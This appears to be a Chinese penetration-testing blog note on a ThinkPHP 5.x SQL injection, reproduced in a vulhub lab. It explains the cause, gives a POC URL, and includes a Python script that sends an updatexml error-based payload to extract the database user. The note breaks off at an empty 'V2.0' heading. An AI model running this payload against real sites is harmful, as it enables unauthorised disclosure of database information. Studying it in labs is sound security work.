本文最后更新于 420 天前,其中的信息可能已经有所发展或是发生改变。
:::info
💘渗透全流程:
信息收集 – 漏洞发现 – 漏洞👣利用 – 权限提升 – 隧道搭建 – 内网渗透 – 横向移动 – 后渗透
:::
ThinkPHP5.X SQL 注入漏洞
📚测试环境
vulhub 靶场 thinkphp 5.x rce 环境。
使用 docker-compose 开启环境
访问测试(参考:https://www.yuque.com/u2164633/eww48f/rhgirguw8myq83n5)
📚漏洞原理
入参在绑定编译指令之前没有安全处理,预编译的时候导致 SQL 异常报错。又由于 ThinkPHP 5.X 默认开启 debug 模式。在此环境下可以构造错误的 SQL 语句导致敏感信息泄露。
📚POC 示例
/index.php?ids[]=1&ids[]2
⚠️问题源码
漏洞利用
V1.0
'''
ThinkPHP 5.X RCE
📚漏洞原理
入参在绑定编译指令之前没有安全处理,预编译的时候导致 SQL 异常报错。又由于 ThinkPHP 5.X 默认开启 debug 模式。在此环境下可以构造错误的 SQL 语句导致敏感信息泄露。
📚POC 示例
/index.php?ids[]=1&ids[]=2
'''
import requests
from urllib.parse import urljoin
def thinkphp5x_sqli(url):
payload = r'/index.php?ids[0, updatexml(0,concat(0xa,user()),0)]=1'
url = urljoin(url, payload)
response = requests.get(url)
# print(response.text)
if 'XPATH syntax error' in response.text:
print('[+] The vulnerability exists')
else:
print('[-] The vulnerability not exists')
if __name__ == '__main__':
url = 'http://192.168.225.135:80/'
thinkphp5x_sqli(url)
V2.0
优化: